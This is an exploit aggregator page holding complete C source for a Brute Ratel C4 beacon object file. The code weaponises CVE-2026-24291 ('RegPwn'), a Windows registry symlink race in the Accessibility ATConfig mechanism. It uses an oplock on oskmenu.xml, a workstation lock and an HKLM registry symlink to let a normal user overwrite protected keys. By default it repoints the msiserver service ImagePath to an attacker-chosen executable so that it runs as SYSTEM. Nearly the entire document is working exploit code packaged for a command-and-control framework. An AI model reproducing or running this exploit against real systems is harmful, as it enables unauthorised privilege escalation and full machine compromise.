5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / entry.c C
/*
 * RegPwn BRc4 BOF - CVE-2026-24291 Local Privilege Escalation
 *
 * BRc4 BOF port of the original RegPwn exploit by Filip Dragovic (@Wh04m1001) / MDSec.
 * Exploits a registry symlink race condition via the Windows Accessibility
 * ATConfig mechanism to write arbitrary values to protected HKLM registry
 * keys from a normal user context.
 *
 * Original research & code:
 *   Blog:   https://www.mdsec.co.uk/2026/03/rip-regpwn/
 *   GitHub: https://github.com/mdsecactivebreach/RegPwn
 *   Author: Filip Dragovic (@Wh04m1001) - MDSec ActiveBreach
 *
 * Default target: HKLM\SYSTEM\CurrentControlSet\Services\msiserver\ImagePath
 */

#include <windows.h>
extern WCHAR** g_dispatch;
#include "badger_exports.h"
#include "bofdefs.h"

/* ------------------------------------------------------------------ */
/* Constants                                                           */
/* ------------------------------------------------------------------ */
#define REGPWN_BUFSIZE 8192

#ifndef FSCTL_REQUEST_OPLOCK_LEVEL_1
#define FSCTL_REQUEST_OPLOCK_LEVEL_1  0x00090000
#endif

#ifndef FSCTL_OPLOCK_BREAK_ACK_NO_2
#define FSCTL_OPLOCK_BREAK_ACK_NO_2   0x00090050
#endif

#define REGPWN_HKLM                   ((HKEY)(ULONG_PTR)0x80000002)
#define REGPWN_HKCU                   ((HKEY)(ULONG_PTR)0x80000001)

#define REGPWN_REG_OPTION_CREATE_LINK 0x00000002
#define REGPWN_REG_OPTION_VOLATILE    0x00000001
#define REGPWN_REG_OPTION_OPEN_LINK   0x00000008
#define REGPWN_REG_LINK               0x00000006
#define REGPWN_REG_EXPAND_SZ          0x00000002

#define REGPWN_KEY_WRITE              0x00020006
#define REGPWN_KEY_CREATE_LINK        0x00000020
#define REGPWN_DELETE_ACCESS          0x00010000
#define REGPWN_KEY_READ               0x00020019

#define REGPWN_TOKEN_SESSION_ID       12

/* Current process token pseudo-handle */
#define REGPWN_CURRENT_PROCESS_TOKEN  ((HANDLE)(LONG_PTR)-4)

/* Value buffer size in bytes (512 wchars) */
#define REGPWN_VALBUF_CB              (1024 * sizeof(wchar_t))

/* ------------------------------------------------------------------ */
/* simple inline: internal_printf wrapper   */
/* ------------------------------------------------------------------ */
#ifdef BOF
static void internal_printf(const char* format, ...)
{
    int buffersize = 0;
    char * intBuffer = NULL;
    va_list args;

    va_start(args, format);
    buffersize = Msvcrt$vsnprintf(NULL, 0, format, args);
    va_end(args);

    intBuffer = (char*)intAlloc(buffersize + 1);

    va_start(args, format);
    Msvcrt$vsnprintf(intBuffer, buffersize + 1, format, args);
    va_end(args);

    BadgerDispatch(g_dispatch, "%s", intBuffer);
    intFree(intBuffer);
}
static void printoutput(BOOL done) { return; }
static int bofstart(void) { return 1; }
static void bofstop(void) { return; }
#else
static void internal_printf(const char* format, ...)
{
    va_list args;
    va_start(args, format);
    vprintf(format, args);
    va_end(args);
}
static void printoutput(BOOL done) { return; }
static int bofstart(void) { return 1; }
static void bofstop(void) { return; }
#endif

/* ------------------------------------------------------------------ */
/* check_reg_value: read current value of target HKLM key              */
/* Returns 0 on success, fills wValueBuf. Returns -1 if key missing.   */
/* ------------------------------------------------------------------ */
static int check_reg_value(
    const wchar_t *wszSubKey,
    const wchar_t *wszValueName,
    wchar_t *wValueBuf,
    DWORD cbBufSize)
{
    HKEY hKey = NULL;
    LONG lRes = 0;
    DWORD dwType = 0;
    DWORD cbData = cbBufSize;
    int ret = -1;

    lRes = Advapi32$RegOpenKeyExW(REGPWN_HKLM, wszSubKey, 0,
                                  REGPWN_KEY_READ, &hKey);
    if (lRes != 0)
    {
        Msvcrt$_snwprintf(wValueBuf, cbBufSize / sizeof(wchar_t),
                          L"(key not found, error %ld)", lRes);
        wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0';
        goto cleanup;
    }

    lRes = Advapi32$RegQueryValueExW(hKey, wszValueName, NULL,
                                      &dwType, (LPBYTE)wValueBuf, &cbData);
    if (lRes != 0)
    {
        Msvcrt$_snwprintf(wValueBuf, cbBufSize / sizeof(wchar_t),
                          L"(value not found, error %ld)", lRes);
        wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0';
        goto cleanup;
    }
    wValueBuf[(cbBufSize / sizeof(wchar_t)) - 1] = L'\0';
    ret = 0;

cleanup:
    if (hKey)
    {
        Advapi32$RegCloseKey(hKey);
        hKey = NULL;
    }
    return ret;
}

/* ------------------------------------------------------------------ */
/* get_session_atconfig_path: build HKLM ATConfig path with session ID */
/* ------------------------------------------------------------------ */
static int get_session_atconfig_path(wchar_t *wszPathBuf, DWORD cchBuf)
{
    DWORD dwSessionId = 0;
    DWORD dwRetLen = 0;
    int ret = -1;

    if (!Advapi32$GetTokenInformation(
            REGPWN_CURRENT_PROCESS_TOKEN,
            (TOKEN_INFORMATION_CLASS)REGPWN_TOKEN_SESSION_ID,
            &dwSessionId, sizeof(dwSessionId), &dwRetLen))
    {
        internal_printf("[-] GetTokenInformation failed: %lu\n",
                        Kernel32$GetLastError());
        goto cleanup;
    }

    Msvcrt$_snwprintf(wszPathBuf, cchBuf,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
        L"\\Accessibility\\Session%lu\\ATConfig\\osk",
        (unsigned long)dwSessionId);
    wszPathBuf[cchBuf - 1] = L'\0';
    ret = 0;

cleanup:
    return ret;
}

/* ------------------------------------------------------------------ */
/* SHELLEXECUTEINFOW — defined inline for BOF (no shellapi.h)          */
/* ------------------------------------------------------------------ */
#ifdef BOF
typedef struct _REGPWN_SHELLEXECUTEINFOW {
    DWORD     cbSize;
    ULONG     fMask;
    HWND      hwnd;
    LPCWSTR   lpVerb;
    LPCWSTR   lpFile;
    LPCWSTR   lpParameters;
    LPCWSTR   lpDirectory;
    int       nShow;
    HINSTANCE hInstApp;
    void     *lpIDList;
    LPCWSTR   lpClass;
    HKEY      hkeyClass;
    DWORD     dwHotKey;
    HANDLE    hIcon;
    HANDLE    hProcess;
} REGPWN_SHELLEXECUTEINFOW;
#else
typedef SHELLEXECUTEINFOW REGPWN_SHELLEXECUTEINFOW;
#endif

#define REGPWN_SEE_MASK_NOCLOSEPROCESS 0x00000040

/* ------------------------------------------------------------------ */
/* start_osk: launch osk.exe via ShellExecuteExW (handles UAC), 5s    */
/* ------------------------------------------------------------------ */
static int start_osk(void)
{
    REGPWN_SHELLEXECUTEINFOW sei;
    int ret = -1;

    Msvcrt$memset(&sei, 0, sizeof(sei));
    sei.cbSize       = sizeof(sei);
    sei.fMask        = REGPWN_SEE_MASK_NOCLOSEPROCESS;
    sei.hwnd         = NULL;
    sei.lpFile       = L"C:\\windows\\system32\\osk.exe";
    sei.lpParameters = NULL;
    sei.lpDirectory  = NULL;
    sei.nShow        = 0; /* SW_HIDE */

    if (!Shell32$ShellExecuteExW(&sei))
    {
        internal_printf("[-] ShellExecuteExW(osk.exe) failed: %lu\n",
                        Kernel32$GetLastError());
        goto cleanup;
    }

    internal_printf("[+] osk.exe launched. Sleeping 5s...\n");
    Kernel32$Sleep(5000);

    if (sei.hProcess != NULL)
    {
        Kernel32$CloseHandle(sei.hProcess);
        sei.hProcess = NULL;
    }
    ret = 0;

cleanup:
    return ret;
}

/* ------------------------------------------------------------------ */
/* add_hkcu_reg_value: create HKCU ATConfig key, set attacker value    */
/* ------------------------------------------------------------------ */
static int add_hkcu_reg_value(
    const wchar_t *wszValueName,
    const wchar_t *wszValueData)
{
    HKEY hKey = NULL;
    DWORD dwDisp = 0;
    LONG lRes = 0;
    DWORD cbData = 0;
    int ret = -1;

    lRes = Advapi32$RegCreateKeyExW(
        REGPWN_HKCU,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion"
        L"\\Accessibility\\ATConfig\\osk",
        0, NULL, 0, REGPWN_KEY_WRITE, NULL, &hKey, &dwDisp);
    if (lRes != 0)
    {
        internal_printf("[-] RegCreateKeyExW(HKCU ATConfig) failed: %ld\n",
                        (long)lRes);
        goto cleanup;
    }

    cbData = (DWORD)((Msvcrt$wcslen(wszValueData) + 1) * sizeof(wchar_t));
    lRes = Advapi32$RegSetValueExW(hKey, wszValueName, 0,
                                    REGPWN_REG_EXPAND_SZ,
                                    (const BYTE *)wszValueData, cbData);
    if (lRes != 0)
    {
        internal_printf("[-] RegSetValueExW(HKCU value) failed: %ld\n",
                        (long)lRes);
        goto cleanup;
    }

    internal_printf("[+] HKCU registry value added.\n");
    ret = 0;

cleanup:
    if (hKey)
    {
        Advapi32$RegCloseKey(hKey);
        hKey = NULL;
    }
    return ret;
}

/* ------------------------------------------------------------------ */
/* setup_oplock: open oskmenu.xml and request level-1 oplock           */
/* Returns 0 on success, fills hFile and hEvent for the caller.        */
/* ------------------------------------------------------------------ */
static int setup_oplock(HANDLE *phFile, HANDLE *phEvent, OVERLAPPED *pOvl)
{
    DWORD dwErr = 0;
    int ret = -1;
    wchar_t wszPath[] =
        L"C:\\Program Files\\Common Files\\microsoft shared"
        L"\\ink\\fsdefinitions\\oskmenu.xml";

    *phFile = INVALID_HANDLE_VALUE;
    *phEvent = NULL;

    *phFile = Kernel32$CreateFileW(
        wszPath,
        GENERIC_READ,
        FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED,
        NULL);
    if (*phFile == INVALID_HANDLE_VALUE)
    {
        internal_printf("[-] CreateFileW(oskmenu.xml) failed: %lu\n",
                        Kernel32$GetLastError());
        goto cleanup;
    }

    *phEvent = Kernel32$CreateEventW(NULL, TRUE, FALSE, NULL);
    if (*phEvent == NULL)
    {
        internal_printf("[-] CreateEventW failed: %lu\n",
                        Kernel32$GetLastError());
        goto cleanup;
    }

    Msvcrt$memset(pOvl, 0, sizeof(*pOvl));
    pOvl->hEvent = *phEvent;

    if (!Kernel32$DeviceIoControl(*phFile, FSCTL_REQUEST_OPLOCK_LEVEL_1,
                                   NULL, 0, NULL, 0, NULL, pOvl))
    {
        dwErr = Kernel32$GetLastError();
        if (dwErr != ERROR_IO_PENDING)
        {
            internal_printf("[-] DeviceIoControl(oplock) failed: %lu\n",
                            dwErr);
            goto cleanup;
        }
    }

    internal_printf("[+] Oplock set on oskmenu.xml.\n");
    ret = 0;

cleanup:
    return ret;
}

/* ------------------------------------------------------------------ */
/* create_symlink: delete ATConfig key and recreate as registry symlink*/
/* ------------------------------------------------------------------ */
static int create_symlink(
    const wchar_t *wszAtconfigPath,
    const wchar_t *wszTargetNtPath)
{
    HKEY hKey = NULL;
    DWORD dwDisp = 0;
    LONG lRes = 0;
    DWORD cbData = 0;
    int ret = -1;

    lRes = Advapi32$RegDeleteKeyW(REGPWN_HKLM, wszAtconfigPath);
    if (lRes != 0 && lRes != 2) /* 2 = ERROR_FILE_NOT_FOUND */
    {
        internal_printf("[-] RegDeleteKeyW(ATConfig) failed: %ld\n",
                        (long)lRes);
        goto cleanup;
    }
    if (lRes == 2)
        internal_printf("[*] ATConfig key absent, creating symlink directly.\n");

    lRes = Advapi32$RegCreateKeyExW(
        REGPWN_HKLM, wszAtconfigPath, 0, NULL,
        REGPWN_REG_OPTION_CREATE_LINK | REGPWN_REG_OPTION_VOLATILE,
        REGPWN_KEY_WRITE | REGPWN_KEY_CREATE_LINK,
        NULL, &hKey, &dwDisp);
    if (lRes != 0)
    {
        internal_printf("[-] RegCreateKeyExW(symlink) failed: %ld\n",
                        (long)lRes);
        goto cleanup;
    }

    /* REG_LINK data must NOT include null terminator */
    cbData = (DWORD)(Msvcrt$wcslen(wszTargetNtPath) * sizeof(wchar_t));
    lRes = Advapi32$RegSetValueExW(hKey, L"SymbolicLinkValue", 0,
                                    REGPWN_REG_LINK,
                                    (const BYTE *)wszTargetNtPath, cbData);
    if (lRes != 0)
    {
        internal_printf("[-] RegSetValueExW(SymbolicLinkValue) failed: %ld\n",
                        (long)lRes);
        goto cleanup;
    }

    internal_printf("[+] Registry symlink created.\n");
    ret = 0;

cleanup:
    if (hKey)
    {
        Advapi32$RegCloseKey(hKey);
        hKey = NULL;
    }
    return ret;
}

/* ------------------------------------------------------------------ */
/* cleanup_symlink: open the symlink key with OPEN_LINK and delete it  */
/* ------------------------------------------------------------------ */
static int cleanup_symlink(const wchar_t *wszAtconfigPath)
{
    HKEY hKey = NULL;
    LONG lRes = 0;
    NTSTATUS ntStatus = 0;
    int ret = -1;

    lRes = Advapi32$RegOpenKeyExW(
        REGPWN_HKLM, wszAtconfigPath,
        REGPWN_REG_OPTION_OPEN_LINK,
        REGPWN_DELETE_ACCESS, &hKey);
    if (lRes != 0)
    {
        internal_printf("[!] RegOpenKeyExW(OPEN_LINK) failed: %ld "
                        "(symlink may already be gone)\n", (long)lRes);
        ret = 0;
        goto cleanup;
    }

    ntStatus = Ntdll$NtDeleteKey((HANDLE)hKey);
    if (ntStatus == 0)
    {
        internal_printf("[+] Symlink deleted.\n");
        ret = 0;
    }
    else
    {
        internal_printf("[-] NtDeleteKey failed: 0x%08lx\n",
                        (unsigned long)ntStatus);
    }

cleanup:
    if (hKey)
    {
        Advapi32$RegCloseKey(hKey);
        hKey = NULL;
    }
    return ret;
}

/* ------------------------------------------------------------------ */
/* build_nt_reg_path: convert "SYSTEM\CurrentControlSet\..." to        */
/*   "\Registry\Machine\SYSTEM\CurrentControlSet\..."                  */
/* ------------------------------------------------------------------ */
static int build_nt_reg_path(
    const wchar_t *wszHklmSubKey,
    wchar_t *wszNtPath,
    DWORD cchNtPath)
{
    Msvcrt$_snwprintf(wszNtPath, cchNtPath,
                      L"\\Registry\\Machine\\%ls", wszHklmSubKey);
    wszNtPath[cchNtPath - 1] = L'\0';
    return 0;
}

/* ------------------------------------------------------------------ */
/* oplock_wait_loop: lock workstation and poll for oplock break        */
/* ------------------------------------------------------------------ */
static int oplock_wait_loop(HANDLE hEvent)
{
    DWORD dwWait = 0;
    BOOL bLocked = FALSE;
    int iterations = 0;
    int ret = -1;

    while (iterations < 120)
    {
        if (!bLocked)
        {
            bLocked = TRUE;
            if (!User32$LockWorkStation())
            {
                internal_printf("[-] LockWorkStation failed: %lu\n",
                                Kernel32$GetLastError());
                goto cleanup;
            }
            internal_printf("[*] Workstation locked. Waiting for oplock...\n");
        }

        dwWait = Kernel32$WaitForSingleObject(hEvent, 500);
        if (dwWait == WAIT_OBJECT_0)
        {
            internal_printf("[+] Oplock triggered!\n");
            ret = 0;
            goto cleanup;
        }
        iterations++;
    }

    internal_printf("[-] Oplock wait timed out after 60 seconds.\n");

cleanup:
    return ret;
}

/* ------------------------------------------------------------------ */
/* ack_oplock: explicit FSCTL_OPLOCK_BREAK_ACK_NO_2 acknowledgment     */
/* ------------------------------------------------------------------ */
static void ack_oplock(HANDLE hOplockFile)
{
    HANDLE hAckEvt = Kernel32$CreateEventW(NULL, TRUE, FALSE, NULL);
    if (hAckEvt == NULL)
    {
        internal_printf("[!] CreateEventW(ack) failed, closing handle as fallback.\n");
        return;
    }

    OVERLAPPED ackOvl;
    Msvcrt$memset(&ackOvl, 0, sizeof(ackOvl));
    ackOvl.hEvent = hAckEvt;
    Kernel32$DeviceIoControl(hOplockFile, FSCTL_OPLOCK_BREAK_ACK_NO_2,
                             NULL, 0, NULL, 0, NULL, &ackOvl);
    Kernel32$WaitForSingleObject(hAckEvt, 5000);
    Kernel32$CloseHandle(hAckEvt);
    hAckEvt = NULL;

    internal_printf("[+] Oplock acknowledged.\n");
}

/* ------------------------------------------------------------------ */
/* cleanup_hkcu: remove the attacker value and key from HKCU ATConfig  */
/* ------------------------------------------------------------------ */
static void cleanup_hkcu(const wchar_t *wszValueName)
{
    HKEY hKey = NULL;
    LONG lRes = 0;

    lRes = Advapi32$RegOpenKeyExW(
        REGPWN_HKCU,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion"
        L"\\Accessibility\\ATConfig\\osk",
        0, REGPWN_KEY_WRITE, &hKey);
    if (lRes != 0)
        return;

    /* Delete the attacker's value */
    Advapi32$RegDeleteValueW(hKey, wszValueName);
    Advapi32$RegCloseKey(hKey);
    hKey = NULL;

    /* Delete the osk key itself (leaf key, will fail if subkeys exist) */
    Advapi32$RegDeleteKeyW(
        REGPWN_HKCU,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion"
        L"\\Accessibility\\ATConfig\\osk");

    internal_printf("[+] HKCU ATConfig cleanup done.\n");
}

/* ------------------------------------------------------------------ */
/* post_exploit: ack oplock, sleep, close file, cleanup, verify        */
/* ------------------------------------------------------------------ */
static void post_exploit(
    HANDLE *phOplockFile,
    const wchar_t *wszAtconfigPath,
    const wchar_t *wszRegSubKey,
    const wchar_t *wszValueName,
    const wchar_t *wszOldValue,
    wchar_t *wszNewValue,
    DWORD cbNewValue)
{
    ack_oplock(*phOplockFile);

    internal_printf("[*] Sleeping 10s for propagation...\n");
    Kernel32$Sleep(10000);

    /* Close file handle (release oskmenu.xml) */
    if (*phOplockFile != INVALID_HANDLE_VALUE)
    {
        Kernel32$CloseHandle(*phOplockFile);
        *phOplockFile = INVALID_HANDLE_VALUE;
    }

    cleanup_symlink(wszAtconfigPath);

    Msvcrt$memset(wszNewValue, 0, cbNewValue);
    check_reg_value(wszRegSubKey, wszValueName, wszNewValue, cbNewValue);

    if (Msvcrt$wcscmp(wszOldValue, wszNewValue) == 0)
    {
        internal_printf("[-] Exploit FAILED. Value unchanged: %S\n",
                        wszNewValue);
    }
    else
    {
        internal_printf("[+] Exploit SUCCEEDED! New value: %S\n",
                        wszNewValue);
    }

    /* Always clean up HKCU artifacts regardless of success/failure */
    cleanup_hkcu(wszValueName);
}

/* ------------------------------------------------------------------ */
/* go() - BOF entry point                                              */
/* ------------------------------------------------------------------ */
#ifdef BOF
void coffee(char** argv, int argc, WCHAR** dispatch)
{
    g_dispatch = dispatch;
    wchar_t *wszValueData = NULL;
    wchar_t *wszRegSubKey = NULL;
    wchar_t *wszValueName = NULL;
    wchar_t wszAtconfigPath[256];
    wchar_t wszNtTarget[512];
    wchar_t *wszOldValue = NULL;
    wchar_t *wszNewValue = NULL;
    HANDLE hOplockFile = INVALID_HANDLE_VALUE;
    HANDLE hOplockEvent = NULL;
    OVERLAPPED ovl = {0};

    if (!bofstart())
        return;

    if (argc < 3) {
        internal_printf("[-] Usage: regpwn <valueData> <subKey> <valueName>\n");
        goto cleanup;
    }

    /* Heap-allocate large value buffers to stay under 4KB stack limit */
    wszOldValue = (wchar_t *)intAlloc(REGPWN_VALBUF_CB);
    wszNewValue = (wchar_t *)intAlloc(REGPWN_VALBUF_CB);
    if (!wszOldValue || !wszNewValue)
    {
        internal_printf("[-] Heap allocation failed.\n");
        goto cleanup;
    }

    int wlen1 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[0], -1, NULL, 0);
    wszValueData = (wchar_t *)intAlloc(wlen1 * sizeof(wchar_t));
    Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[0], -1, wszValueData, wlen1);

    int wlen2 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0);
    wszRegSubKey = (wchar_t *)intAlloc(wlen2 * sizeof(wchar_t));
    Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, wszRegSubKey, wlen2);

    int wlen3 = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, NULL, 0);
    wszValueName = (wchar_t *)intAlloc(wlen3 * sizeof(wchar_t));
    Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, wszValueName, wlen3);

    if (!wszValueData || !wszRegSubKey || !wszValueName)
    {
        internal_printf("[-] Invalid or missing arguments.\n");
        goto cleanup;
    }

    internal_printf("[*] RegPwn CVE-2026-24291 LPE\n");
    internal_printf("[*] Target key : HKLM\\%S\n", wszRegSubKey);
    internal_printf("[*] Value name : %S\n", wszValueName);
    internal_printf("[*] Value data : %S\n", wszValueData);

    /* Step 1: Read current value */
    if (check_reg_value(wszRegSubKey, wszValueName,
                        wszOldValue, REGPWN_VALBUF_CB) < 0)
    {
        internal_printf("[-] Target registry key does not exist.\n");
        goto cleanup;
    }
    internal_printf("[*] Old value  : %S\n", wszOldValue);

    /* Step 2: Get ATConfig path with session ID */
    Msvcrt$memset(wszAtconfigPath, 0, sizeof(wszAtconfigPath));
    if (get_session_atconfig_path(wszAtconfigPath, 256) < 0)
        goto cleanup;
    internal_printf("[+] ATConfig path: %S\n", wszAtconfigPath);

    /* Step 3: Start osk.exe */
    if (start_osk() < 0)
        goto cleanup;

    /* Step 4: Add attacker value to HKCU ATConfig */
    if (add_hkcu_reg_value(wszValueName, wszValueData) < 0)
        goto cleanup;

    /* Step 5: Set oplock on oskmenu.xml */
    if (setup_oplock(&hOplockFile, &hOplockEvent, &ovl) < 0)
        goto cleanup;

    /* Step 6: Lock workstation and wait for oplock break */
    if (oplock_wait_loop(hOplockEvent) < 0)
        goto cleanup;

    /* Step 7: Race — delete ATConfig, create symlink */
    Msvcrt$memset(wszNtTarget, 0, sizeof(wszNtTarget));
    build_nt_reg_path(wszRegSubKey, wszNtTarget, 512);

    if (create_symlink(wszAtconfigPath, wszNtTarget) < 0)
        goto cleanup;

    /* Steps 8-12: ack, sleep, close, cleanup, verify */
    post_exploit(&hOplockFile, wszAtconfigPath, wszRegSubKey,
                 wszValueName, wszOldValue, wszNewValue, REGPWN_VALBUF_CB);

cleanup:
    if (hOplockFile != INVALID_HANDLE_VALUE)
    {
        Kernel32$CloseHandle(hOplockFile);
        hOplockFile = INVALID_HANDLE_VALUE;
    }
    if (hOplockEvent != NULL)
    {
        Kernel32$CloseHandle(hOplockEvent);
        hOplockEvent = NULL;
    }
    if (wszOldValue) intFree(wszOldValue);
    if (wszNewValue) intFree(wszNewValue);
    if (wszValueData) intFree(wszValueData);
    if (wszRegSubKey) intFree(wszRegSubKey);
    if (wszValueName) intFree(wszValueName);
    printoutput(TRUE);
    bofstop();
}

#else
/* ------------------------------------------------------------------ */
/* Standalone test main()                                              */
/* ------------------------------------------------------------------ */
int main(int argc, char ** argv)
{
    wchar_t wszAtconfigPath[256];
    wchar_t wszNtTarget[512];
    wchar_t wszOldValue[1024];
    wchar_t wszNewValue[1024];
    HANDLE hOplockFile = INVALID_HANDLE_VALUE;
    HANDLE hOplockEvent = NULL;
    OVERLAPPED ovl;

    /* Defaults matching msiserver target */
    wchar_t *wszRegSubKey = L"SYSTEM\\CurrentControlSet\\Services\\msiserver";
    wchar_t *wszValueName = L"ImagePath";
    wchar_t *wszValueData = L"C:\\Programdata\\service.exe";

    if (argc >= 2)
    {
        int wlen = 0;
        printf("[*] Standalone test mode.\n");
        printf("[*] Usage: regpwn.exe [valueData] [subKey] [valueName]\n");
        wlen = MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0);
        wszValueData = (wchar_t *)malloc(wlen * sizeof(wchar_t));
        MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, wszValueData, wlen);
    }
    if (argc >= 3)
    {
        int wlen = MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, NULL, 0);
        wszRegSubKey = (wchar_t *)malloc(wlen * sizeof(wchar_t));
        MultiByteToWideChar(CP_UTF8, 0, argv[2], -1, wszRegSubKey, wlen);
    }
    if (argc >= 4)
    {
        int wlen = MultiByteToWideChar(CP_UTF8, 0, argv[3], -1, NULL, 0);
        wszValueName = (wchar_t *)malloc(wlen * sizeof(wchar_t));
        MultiByteToWideChar(CP_UTF8, 0, argv[3], -1, wszValueName, wlen);
    }

    memset(&ovl, 0, sizeof(ovl));

    internal_printf("[*] RegPwn CVE-2026-24291 LPE (standalone test)\n");
    internal_printf("[*] Target key : HKLM\\%S\n", wszRegSubKey);
    internal_printf("[*] Value name : %S\n", wszValueName);
    internal_printf("[*] Value data : %S\n", wszValueData);

    memset(wszOldValue, 0, sizeof(wszOldValue));
    if (check_reg_value(wszRegSubKey, wszValueName,
                        wszOldValue, sizeof(wszOldValue)) < 0)
    {
        internal_printf("[-] Target registry key does not exist.\n");
        return 1;
    }
    internal_printf("[*] Old value  : %S\n", wszOldValue);

    memset(wszAtconfigPath, 0, sizeof(wszAtconfigPath));
    if (get_session_atconfig_path(wszAtconfigPath, 256) < 0)
        return 1;
    internal_printf("[+] ATConfig path: %S\n", wszAtconfigPath);

    if (start_osk() < 0)
        return 1;

    if (add_hkcu_reg_value(wszValueName, wszValueData) < 0)
        return 1;

    if (setup_oplock(&hOplockFile, &hOplockEvent, &ovl) < 0)
        return 1;

    if (oplock_wait_loop(hOplockEvent) < 0)
        return 1;

    memset(wszNtTarget, 0, sizeof(wszNtTarget));
    build_nt_reg_path(wszRegSubKey, wszNtTarget, 512);

    if (create_symlink(wszAtconfigPath, wszNtTarget) < 0)
        return 1;

    post_exploit(&hOplockFile, wszAtconfigPath, wszRegSubKey,
                 wszValueName, wszOldValue, wszNewValue, sizeof(wszNewValue));

    if (hOplockFile != INVALID_HANDLE_VALUE)
        CloseHandle(hOplockFile);
    if (hOplockEvent != NULL)
        CloseHandle(hOplockEvent);

    return 0;
}
#endif